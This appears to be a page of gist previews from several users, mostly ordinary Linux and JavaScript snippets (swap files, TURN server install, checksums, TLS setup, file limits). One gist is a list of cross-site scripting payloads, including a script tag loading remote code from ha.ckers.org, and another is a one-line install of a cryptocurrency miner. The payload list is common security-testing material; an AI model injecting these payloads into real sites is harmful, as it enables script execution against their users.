JosefJezek

Swap on Linux

• https://www.digitalocean.com/community/tutorials/how-to-add-swap-on-ubuntu-14-04

Swap File

sudo fallocate -l 4G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile

chathudan

Turn Server Installation Documentation

change the package according to your server

wget http://turnserver.open-sys.org/downloads/v3.2.4.4/turnserver-3.2.4.4-debian-wheezy-ubuntu-
mint-x86-64bits.tar.gz

tar -zxvf turnserver-3.2.4.4-debian-wheezy-ubuntu-mint-x86-64bits.tar.gz

wget http://github.com/downloads/libevent/libevent/libevent-2.0.21-stable.tar.gz

softwarespot

// Documentation: https://github.com/beautify-web/js-beautify
// Example URL: https://github.com/victorporof/Sublime-HTMLPrettify/blob/master/.jsbeautifyrc
// Based on Airbnb's JavaScript Style Guide, URL: https://github.com/airbnb/javascript
{
    // Collapse curly brackets
    "brace_style": "collapse",

    // Break chained method calls across subsequent lines
    "break_chained_methods": true,

rvrsh3ll

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>

ipbastola

Safest way to clean up boot partition - Ubuntu 14.04LTS-x64, Ubuntu 16.04LTS-x64

Reference

Case I: if /boot is not 100% full and apt is working

1. Check the current kernel version

$ uname -r 

FinlayDaG33k

Run this command to install MG-CLI:
sudo apt-get update && wget https://minergate.com/download/deb-cli -O minergate-cli.deb && sudo dpkg -i minergate-cli.deb

to start miner (4 cores for BCN) use this command:
minergate-cli -user <[email protected]> -bcn 4


Feel free to send some of your earnings to me:
BTC (Don't attempt to send other coins to this address!): 17f77AYHsQbdsB1Q6BbqPahJ8ZrjFLYH2j

bryc

// BSD-16
// From: en.wikipedia.org/wiki/BSD_checksum
function bsd16(data) {
    for(var i = 0, c = 0; i < data.length; i++) {
        c = (c>>1) + ((c&1) << 15);
        c += data[i];
        c &= 0xffff;
    }
    return c;
}

pcan

Node.js TLS plain TLS sockets

This guide shows how to set up a bidirectional client/server authentication for plain TLS sockets.

Newer versions of openssl are stricter about certificate purposes. Use extensions accordingly.

Prepare certificates

Generate a Certificate Authority:

luckydev

# maximum capability of system
user@ubuntu:~$ cat /proc/sys/fs/file-max
708444

# available limit
user@ubuntu:~$ ulimit -n
1024

# To increase the available limit to say 200000
user@ubuntu:~$ sudo vim /etc/sysctl.conf

zfael

var fs = require('fs');
var crypto = require('crypto');

fs.readFile('file.pdf', function(err, data) {
  var checksum = generateChecksum(data);
  console.log(checksum);
});

function generateChecksum(str, algorithm, encoding) {
    return crypto